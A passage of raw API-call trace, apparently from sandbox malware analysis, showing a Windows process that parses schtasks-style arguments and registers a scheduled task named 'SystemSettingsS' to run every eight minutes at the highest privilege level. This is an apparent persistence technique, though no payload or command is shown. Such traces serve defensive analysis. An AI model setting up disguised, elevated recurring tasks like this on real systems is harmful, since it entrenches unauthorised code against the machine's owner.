(lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0135.813] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.813] lstrlenW (lpString="tr") returned 2 [0135.813] lstrlenW (lpString="tr") returned 2 [0135.813] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.814] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.814] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|tr|") returned 4 [0135.814] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.814] lstrlenW (lpString="|tr|") returned 4 [0135.814] lstrlenW (lpString="|f|") returned 3 [0135.814] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0135.814] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.814] lstrlenW (lpString="st") returned 2 [0135.814] lstrlenW (lpString="st") returned 2 [0135.814] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.814] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.814] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|st|") returned 4 [0135.814] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.814] lstrlenW (lpString="|st|") returned 4 [0135.814] lstrlenW (lpString="|f|") returned 3 [0135.814] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0135.814] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.814] lstrlenW (lpString="sd") returned 2 [0135.814] lstrlenW (lpString="sd") returned 2 [0135.814] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.814] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.814] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|sd|") returned 4 [0135.814] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.814] lstrlenW (lpString="|sd|") returned 4 [0135.814] lstrlenW (lpString="|f|") returned 3 [0135.814] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0135.815] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.815] lstrlenW (lpString="ed") returned 2 [0135.815] lstrlenW (lpString="ed") returned 2 [0135.815] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.815] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.815] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|ed|") returned 4 [0135.815] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.815] lstrlenW (lpString="|ed|") returned 4 [0135.815] lstrlenW (lpString="|f|") returned 3 [0135.815] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0135.815] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.815] lstrlenW (lpString="it") returned 2 [0135.815] lstrlenW (lpString="it") returned 2 [0135.815] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.815] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.815] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|it|") returned 4 [0135.815] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.815] lstrlenW (lpString="|it|") returned 4 [0135.815] lstrlenW (lpString="|f|") returned 3 [0135.815] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0135.815] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.815] lstrlenW (lpString="et") returned 2 [0135.815] lstrlenW (lpString="et") returned 2 [0135.815] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.815] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.815] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|et|") returned 4 [0135.815] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.815] lstrlenW (lpString="|et|") returned 4 [0135.815] lstrlenW (lpString="|f|") returned 3 [0135.816] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0135.816] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.816] lstrlenW (lpString="k") returned 1 [0135.816] lstrlenW (lpString="k") returned 1 [0135.816] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.816] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.816] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|k|") returned 3 [0135.816] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.816] lstrlenW (lpString="|k|") returned 3 [0135.816] lstrlenW (lpString="|f|") returned 3 [0135.816] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0135.816] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.816] lstrlenW (lpString="du") returned 2 [0135.816] lstrlenW (lpString="du") returned 2 [0135.816] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.816] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.816] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|du|") returned 4 [0135.816] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.816] lstrlenW (lpString="|du|") returned 4 [0135.816] lstrlenW (lpString="|f|") returned 3 [0135.816] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0135.816] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.816] lstrlenW (lpString="ri") returned 2 [0135.816] lstrlenW (lpString="ri") returned 2 [0135.816] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.816] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.816] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x5, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|ri|") returned 4 [0135.816] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.816] lstrlenW (lpString="|ri|") returned 4 [0135.817] lstrlenW (lpString="|f|") returned 3 [0135.817] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0135.817] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.817] lstrlenW (lpString="z") returned 1 [0135.817] lstrlenW (lpString="z") returned 1 [0135.817] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.817] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.817] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|z|") returned 3 [0135.817] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.817] lstrlenW (lpString="|z|") returned 3 [0135.817] lstrlenW (lpString="|f|") returned 3 [0135.817] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0135.817] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.817] lstrlenW (lpString="f") returned 1 [0135.817] lstrlenW (lpString="f") returned 1 [0135.817] _memicmp (_Buf1=0x2781b7c42f0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.817] _memicmp (_Buf1=0x2781b7c4330, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.817] _vsnwprintf (in: _Buffer=0x2781b7c4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.817] _vsnwprintf (in: _Buffer=0x2781b7c4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x9d899cc738 | out: _Buffer="|f|") returned 3 [0135.817] lstrlenW (lpString="|f|") returned 3 [0135.817] lstrlenW (lpString="|f|") returned 3 [0135.817] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0135.817] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.817] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.817] GetProcessHeap () returned 0x2781b7c0000 [0135.817] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb4d0 [0135.817] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.818] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0135.818] lstrlenW (lpString="LIMITED") returned 7 [0135.818] GetProcessHeap () returned 0x2781b7c0000 [0135.818] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x10) returned 0x2781b7ca9d0 [0135.818] GetThreadLocale () returned 0x409 [0135.818] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0135.818] GetProcessHeap () returned 0x2781b7c0000 [0135.818] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb4a0 [0135.818] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.818] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0135.818] lstrlenW (lpString="HIGHEST") returned 7 [0135.818] GetProcessHeap () returned 0x2781b7c0000 [0135.818] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x10) returned 0x2781b7caa30 [0135.818] GetThreadLocale () returned 0x409 [0135.818] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0135.818] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb5c0 [0135.818] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.818] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0135.818] lstrlenW (lpString="MINUTE") returned 6 [0135.818] GetProcessHeap () returned 0x2781b7c0000 [0135.818] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0xe) returned 0x2781b7ca8d0 [0135.818] GetThreadLocale () returned 0x409 [0135.818] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0135.819] RtlRestoreLastWin32Error () returned 0x9d89b9d000 [0135.819] GetProcessHeap () returned 0x2781b7c0000 [0135.819] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x1fc) returned 0x2781b7cabf0 [0135.819] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb470 [0135.819] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.819] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0135.819] lstrlenW (lpString="First") returned 5 [0135.819] GetProcessHeap () returned 0x2781b7c0000 [0135.819] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0xc) returned 0x2781b7ca8f0 [0135.819] GetProcessHeap () returned 0x2781b7c0000 [0135.819] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb500 [0135.819] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.819] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0135.819] lstrlenW (lpString="Second") returned 6 [0135.819] GetProcessHeap () returned 0x2781b7c0000 [0135.819] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0xe) returned 0x2781b7cab90 [0135.819] GetProcessHeap () returned 0x2781b7c0000 [0135.819] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb650 [0135.819] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.819] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0135.819] lstrlenW (lpString="Third") returned 5 [0135.819] GetProcessHeap () returned 0x2781b7c0000 [0135.819] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0xc) returned 0x2781b7ca9b0 [0135.819] GetProcessHeap () returned 0x2781b7c0000 [0135.819] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x20) returned 0x2781b7cb320 [0135.819] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.819] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0135.820] lstrlenW (lpString="Fourth") returned 6 [0135.820] GetProcessHeap () returned 0x2781b7c0000 [0135.820] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0xe) returned 0x2781b7ca950 [0135.820] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.820] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0135.820] lstrlenW (lpString="Last") returned 4 [0135.820] GetProcessHeap () returned 0x2781b7c0000 [0135.820] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0xa) returned 0x2781b7cab10 [0135.820] lstrlenW (lpString="8") returned 1 [0135.820] _wtol (_String="8") returned 8 [0135.820] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.820] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0135.820] lstrlenW (lpString="First") returned 5 [0135.820] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.820] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0135.820] lstrlenW (lpString="Second") returned 6 [0135.820] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.820] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0135.820] lstrlenW (lpString="Third") returned 5 [0135.820] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.820] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0135.820] lstrlenW (lpString="Fourth") returned 6 [0135.820] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.820] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0135.821] lstrlenW (lpString="Last") returned 4 [0135.821] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x9d899cc590, cchData=128 | out: lpLCData="0") returned 2 [0135.821] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.821] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0135.821] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0135.821] GetProcessHeap () returned 0x2781b7c0000 [0135.821] GetProcessHeap () returned 0x2781b7c0000 [0135.821] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7ca8f0) returned 1 [0135.821] GetProcessHeap () returned 0x2781b7c0000 [0135.821] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7ca8f0) returned 0xc [0135.821] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7ca8f0) returned 1 [0135.821] GetProcessHeap () returned 0x2781b7c0000 [0135.821] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x16) returned 0x2781b7cab70 [0135.821] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x9d899cc5b0, cchData=128 | out: lpLCData="0") returned 2 [0135.821] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0135.821] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0135.821] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0135.821] GetProcessHeap () returned 0x2781b7c0000 [0135.821] GetProcessHeap () returned 0x2781b7c0000 [0135.821] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7cab90) returned 1 [0135.821] GetProcessHeap () returned 0x2781b7c0000 [0135.821] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7cab90) returned 0xe [0135.821] RtlFreeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, BaseAddress=0x2781b7cab90) returned 1 [0135.822] GetProcessHeap () returned 0x2781b7c0000 [0135.822] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x16) returned 0x2781b7cab90 [0135.822] GetLocalTime (in: lpSystemTime=0x9d899cc7e8 | out: lpSystemTime=0x9d899cc7e8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x38, wMilliseconds=0x3c2)) [0135.822] lstrlenW (lpString="") returned 0 [0135.822] GetLocalTime (in: lpSystemTime=0x9d899cd1d8 | out: lpSystemTime=0x9d899cd1d8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x38, wMilliseconds=0x3d1)) [0135.822] lstrlenW (lpString="") returned 0 [0135.822] lstrlenW (lpString="") returned 0 [0135.822] lstrlenW (lpString="") returned 0 [0135.822] lstrlenW (lpString="") returned 0 [0135.822] lstrlenW (lpString="8") returned 1 [0135.822] _wtol (_String="8") returned 8 [0135.822] lstrlenW (lpString="") returned 0 [0135.822] lstrlenW (lpString="") returned 0 [0135.822] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0135.831] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0136.159] CoCreateInstance (in: rclsid=0x7ff6b6f79e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff6b6f79e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x9d899ccf30 | out: ppv=0x9d899ccf30*=0x2781b755720) returned 0x0 [0136.301] TaskScheduler:ITaskService:Connect (This=0x2781b755720, serverName=0x9d899cd020*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x9d899ccff0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x9d899ccfd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x9d899ccfb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0136.483] TaskScheduler:ITaskService:GetFolder (in: This=0x2781b755720, Path=0x0, ppFolder=0x9d899cd110 | out: ppFolder=0x9d899cd110*=0x2781b7558a0) returned 0x0 [0136.485] TaskScheduler:ITaskService:NewTask (in: This=0x2781b755720, flags=0x0, ppDefinition=0x9d899cd0e8 | out: ppDefinition=0x9d899cd0e8*=0x2781b755920) returned 0x0 [0136.485] ITaskDefinition:get_Actions (in: This=0x2781b755920, ppActions=0x9d899cd030 | out: ppActions=0x9d899cd030*=0x2781b7559b0) returned 0x0 [0136.485] IActionCollection:Create (in: This=0x2781b7559b0, Type=0, ppAction=0x9d899cd070 | out: ppAction=0x9d899cd070*=0x2781b755dc0) returned 0x0 [0136.486] IUnknown:Release (This=0x2781b755dc0) returned 0x1 [0136.486] IUnknown:Release (This=0x2781b7559b0) returned 0x1 [0136.486] ITaskDefinition:get_Triggers (in: This=0x2781b755920, ppTriggers=0x9d899ccbe0 | out: ppTriggers=0x9d899ccbe0*=0x2781b755c70) returned 0x0 [0136.486] ITriggerCollection:Create (in: This=0x2781b755c70, Type=1, ppTrigger=0x9d899ccbc8 | out: ppTrigger=0x9d899ccbc8*=0x2781b755e50) returned 0x0 [0136.486] lstrlenW (lpString="8") returned 1 [0136.486] _vsnwprintf (in: _Buffer=0x9d899ccb50, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x9d899ccb48 | out: _Buffer="PT8M") returned 4 [0136.486] ITrigger:get_Repetition (in: This=0x2781b755e50, ppRepeat=0x9d899ccbc0 | out: ppRepeat=0x9d899ccbc0*=0x2781b755ee0) returned 0x0 [0136.486] IRepetitionPattern:put_Interval (This=0x2781b755ee0, Interval="PT8M") returned 0x0 [0136.487] IUnknown:Release (This=0x2781b755ee0) returned 0x1 [0136.487] _vsnwprintf (in: _Buffer=0x9d899ccb10, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x9d899ccae8 | out: _Buffer="2023-09-19T17:14:00") returned 19 [0136.487] ITrigger:put_StartBoundary (This=0x2781b755e50, StartBoundary="2023-09-19T17:14:00") returned 0x0 [0136.487] lstrlenW (lpString="") returned 0 [0136.487] lstrlenW (lpString="") returned 0 [0136.487] lstrlenW (lpString="") returned 0 [0136.487] lstrlenW (lpString="") returned 0 [0136.487] IUnknown:Release (This=0x2781b755e50) returned 0x1 [0136.487] IUnknown:Release (This=0x2781b755c70) returned 0x1 [0136.487] ITaskDefinition:get_Settings (in: This=0x2781b755920, ppSettings=0x9d899cd070 | out: ppSettings=0x9d899cd070*=0x2781b755af0) returned 0x0 [0136.487] lstrlenW (lpString="") returned 0 [0136.487] IUnknown:Release (This=0x2781b755af0) returned 0x3 [0136.487] GetLocalTime (in: lpSystemTime=0x9d899ccf28 | out: lpSystemTime=0x9d899ccf28*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x39, wMilliseconds=0x27a)) [0136.487] ResolveDelayLoadedAPI () returned 0x7ffb1c453fa0 [0136.488] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x9d899ccf40, nSize=0x9d899ccf18 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x9d899ccf18) returned 0x1 [0136.488] ITaskDefinition:get_RegistrationInfo (in: This=0x2781b755920, ppRegistrationInfo=0x9d899ccf10 | out: ppRegistrationInfo=0x9d899ccf10*=0x2781b755a30) returned 0x0 [0136.488] IRegistrationInfo:put_Author (This=0x2781b755a30, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0136.488] _vsnwprintf (in: _Buffer=0x9d899ccf40, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x9d899cced8 | out: _Buffer="2023-09-19T17:14:59") returned 19 [0136.489] IRegistrationInfo:put_Date (This=0x2781b755a30, Date="2023-09-19T17:14:59") returned 0x0 [0136.489] IUnknown:Release (This=0x2781b755a30) returned 0x1 [0136.489] malloc (_Size=0x18) returned 0x2781b755f60 [0136.489] free (_Block=0x2781b755f60) [0136.489] lstrlenW (lpString="") returned 0 [0136.489] ITaskDefinition:get_Principal (in: This=0x2781b755920, ppPrincipal=0x9d899cd0d8 | out: ppPrincipal=0x9d899cd0d8*=0x2781b755ce0) returned 0x0 [0136.489] IPrincipal:put_RunLevel (This=0x2781b755ce0, RunLevel=1) returned 0x0 [0136.489] IUnknown:Release (This=0x2781b755ce0) returned 0x1 [0136.489] malloc (_Size=0x18) returned 0x2781b755f60 [0136.490] ITaskFolder:RegisterTaskDefinition (in: This=0x2781b7558a0, Path="SystemSettingsS", pDefinition=0x2781b755920, flags=6, UserId=0x9d899cd180*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x9d899cd160*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x9d899cd1a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x9d899cd140 | out: ppTask=0x9d899cd140*=0x2781b756fd0) returned 0x0 [0137.465] free (_Block=0x2781b755f60) [0137.465] _memicmp (_Buf1=0x2781b7c3960, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0137.465] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2781b7cbab0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0137.465] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0137.465] GetProcessHeap () returned 0x2781b7c0000 [0137.465] GetProcessHeap () returned 0x2781b7c0000 [0137.465] HeapValidate (hHeap=0x2781b7c0000, dwFlags=0x0, lpMem=0x2781b7ca9b0) returned 1 [0137.465] GetProcessHeap () returned 0x2781b7c0000 [0137.465] RtlSizeHeap (HeapHandle=0x2781b7c0000, Flags=0x0, MemoryPointer=0x2781b7ca9b0) returned 0xc [0137.465] GetProcessHeap () returned 0x2781b7c0000 [0137.465] RtlAllocateHeap (HeapHandle=0x2781b7c0000, Flags=0xc, Size=0x82) returned 0x2781b7db340 [0137.466] _vsnwprintf (in: _Buffer=0x9d899cd7f0, 